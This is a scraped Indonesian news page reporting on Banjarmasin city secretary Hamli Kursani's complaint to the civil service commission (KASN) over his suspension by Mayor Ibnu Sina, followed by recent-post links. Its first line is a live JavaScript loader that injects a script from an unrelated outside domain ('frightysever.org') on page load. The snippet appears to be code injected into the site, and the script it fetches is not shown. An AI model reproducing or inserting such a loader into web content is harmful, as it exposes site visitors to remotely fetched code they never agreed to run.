(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Buntut Pencopotan Hamli, KASN Bakal Minta Klarifikasi Walikota Ibnu Sina


BANJARMASIN, Kisruh pencopotan Sekdako Banjarmasin Hamli Kursani terus menggelinding hingga ke Jakarta. Tak hanya melaporkan ke Ombudsman Kalsel ikhwal SK pencopotan nomor bernomor 880/002-KUM.DIS/BKD,DIKLAT/2018 tertanggal 10 April 2018 yang ditandatangani Walikora Ibnu Sina, Hamli ternyata menepati janjinya untuk melaporkan kasus tersebut ke Komisi Aparatur Sipil Negara (KASN) di Jakarta, Selasa (17/4).

Kedatangan Hamli diterima oleh Asisten Komisioner KASN Bidang Pengaduan dan Penyelidikan, Sumardi. Di tempat tersebut, dia mengadukan pembebasan sementara dirinya sebagai Sekdako Banjarmasin dengan dalih melakukan indisipliner. “Saya menyampaikan bukti SK Walikota tanggal 10 April 2018 dan juga hasil sementara dari pemeriksaan inspektorat Banjarmasin. Apakah penerbitan SK sudah sesuai dengan UU Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara, serta PP Nomor 53 Tahun 2010 tentang Disiplin PNS,” jelasnya.

Terkait pelaporan itu, kata Hamli, pihak KASN berjanji akan meminta klarifikasi kepada Walikota Ibnu Sina terkait keputusannya itu. Sehingga informasi dapat diambil dari kedua pihak untuk mendudukkan persoalan secara jernih.

Sebelumnya, Hamli mengatakan bingung apa alasan pencopotan terhadap dirinya.

“Sebab saya juga merupakan Ketua Majelis Pertimbangan Penjatuhan Hukuman Disiplin ASN Pemkot Banjarmasin. Jika ada pelapor dan alat bukti pelanggaran, seharusnya bisa dikonfirmasi kepada saya,” ujarnya.

Terkait dugaan pelanggaran indisipliner yang dituduhkan kepadanya hingga berimbas pada munculnya SK pencopotan, Hamli juga mengaku adanya kejanggalan. Mengingat pemberian sanksi terhadap ASN harus melalui proses pemeriksaan terlebih dahulu. Dimana hasil pemeriksaan ini selanjutnya diserahkan ke Majelis Pertimbangan Penjatuhan Disiplin. “Nah, pelanggaran disiplin itu sendiri ada kategori ringan, sedang, dan berat. Tapi itu pun harus diawali dengan teguran dan bertahap. Itu yang saya pahami,” jelasnya.

Hamli merasa keputusan pembebastugasan sementara dirinya dengan alasan memperlancar pemeriksaan mengada-ada. Kalaupun ia tetap di Sekdako, tidak akan memberatkan pemeriksaan. Hamli siap memenuhi panggilan kapanpun diperiksa. “Kalau seperti ini sama saja pencemaran nama baik,” tegasnya.

Terkait pemeriksaan inspektorat Banjarmasin atas dirinya, Hamli juga mengatakan dari penjelasan KASN, mestinya yang berhak memeriksa dirinya adalah Inspektorat Kalsel.

Kemarin, Hamli menjalani pemeriksaan dari Inspektorat Banjarmasin, Senin (16/4). Selama lebih tiga jam, mulai pukul 09.30-13.00 Wita, Hamli disodori sembilan pertanyaan. Selama ini pihak Pemko Banjarmasin enggan mengungkap indisipliner seperti apa yang menjadi alasan pencopotan Hamli. Mengingat, untuk memutuskan memberhentikan sementara seorang Sekdako sebagai pejabat tertinggi aparatur sipil negara (ASN) di Kota Banjarmasin, tentunya Walikota Ibnu Sina memiliki alasan yang sangat kuat. Kecil kemungkinan, jika indisipliner yang dimaksud sekadar urusan adminitrasi pemerintahan atau lainnya.

Usai pemeriksaan selama tiga jam tersebut, Hamli mengatakan bahwa salah satu dari sembilan pertanyaan yang disampaikan penyidik adalah terkait statemen tersebut. “Ya, ada beberapa ucapan yang dikonfirmasi penyidik. Seperti ucapan ‘amun ada betangkapan (apabila ada penangkapan), kita lihat siapa yang ditangkap lebih dulu’, dan juga ‘bila aku diampihi aku bacalon di Golkar jadi caleg kemudian becalon jua jadi walikota berpasangan dengan anak Pak Muhidin dan kena aku lawani Pak Wali tu (Jika saya diberhentikan, saya akan maju menjadi caleg dari Partai Golkar kemudian juga akan mencalonkan menjadi Walikota berpasangan dengan anak Pak Muhidin—mantan Walikota sebelumnya, red. Dan nanti aku akan melawan Pak Wali itu). Perkataan ini yang dikonfirmasi penyidik, apakah benar itu ucapan saya atau bukan,” terang Hamli.

Hamli memang enggan merinci pertanyaan yang disampaikan inspektorat. Karena ada hal yang bersifat rahasia dan tidak bisa diungkap ke publik. “Jawaban dari pertanyaan lebih bersifat benar atau salah, iya atau tidak. Hal ini agar tidak membocorkan dokumen, jadi untuk jawaban tidak bisa saya ekspos,” katanya.(ammar)

Reporter : Ammar
Editor :Chell

Desy Arfianty

Recent Posts

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

46 menit ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

1 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

4 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

4 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

6 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

9 jam ago

This website uses cookies.